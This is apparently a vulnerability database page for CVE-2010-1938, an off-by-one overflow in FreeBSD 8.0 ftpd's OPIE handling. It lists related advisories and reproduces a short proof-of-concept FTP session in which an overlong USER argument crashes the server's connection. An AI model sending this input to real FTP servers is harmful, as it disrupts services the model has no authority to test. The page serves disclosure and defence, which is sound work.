FreeBSD 8.0 ftpd off-by one PoC (FreeBSD-SA-10:05)

🗓️ 28 May 2010 00:00:00Reported by RootType

FreeBSD 8.0 ftpd off-by one PoC (FreeBSD-SA-10:05) CVE-2010-193

Reporter	Title	Published	Views	Family All 36
BDU FSTEC	Vulnerabilities in the Debian GNU/Linux operating system that allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information	28 Apr 201500:00	–	bdu_fstec
Circl	CVE-2010-1938	27 May 201000:00	–	circl
Check Point Advisories	Preemptive Protection against Multiple Vendors OPIE Off-by-one Stack Buffer Overflow Vulnerability	3 Jun 201000:00	–	checkpoint_advisories
Check Point Advisories	Multiple Vendors OPIE Off-By-One Stack Buffer Overflow (CVE-2010-1938)	25 Jul 201000:00	–	checkpoint_advisories
CVE	CVE-2010-1938	28 May 201018:00	–	cve
Cvelist	CVE-2010-1938	28 May 201018:00	–	cvelist
Debian	[SECURITY] [DSA 2281-1] opie security update	21 Jul 201102:51	–	debian
Tenable Nessus	Debian DSA-2281-1 : opie - several vulnerabilities	22 Jul 201100:00	–	nessus
Tenable Nessus	Ubuntu 9.04 / 9.10 / 10.04 LTS : opie vulnerability (USN-955-1)	9 Mar 201300:00	–	nessus
Tenable Nessus	Ubuntu 9.04 / 9.10 / 10.04 LTS : libpam-opie vulnerability (USN-955-2)	22 Jun 201000:00	–	nessus


                                                # FreeBSD 8.0 ftpd off-by one PoC (FreeBSD-SA-10:05)
# CVE-2010-1938
# FreeBSD-SA-10:05
# Credit: Maksymilian Arciemowicz and Adam Zabrocki
#
# http://securityreason.com/achievement_securityalert/87
# http://security.freebsd.org/advisories/FreeBSD-SA-10:05.opie.asc
# http://blog.pi3.com.pl/?p=111
#
 
PoC:
Connected to localhost.
Escape character is '^]'.
220 127.cx FTP server (Version 6.00LS) ready.
user cx
331 Password required for cx.
user AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Connection closed by foreign host.
 
- -- 
Best Regards,
- ------------------------
pub 1024D/A6986BD6 2008-08-22
uid Maksymilian Arciemowicz (cxib)
&lt;[email protected]&gt;
sub 4096g/0889FA9A 2008-08-22
 
http://securityreason.com
http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

28 May 2010 00:00Current

9.5High risk

Vulners AI Score9.5

EPSS0.39537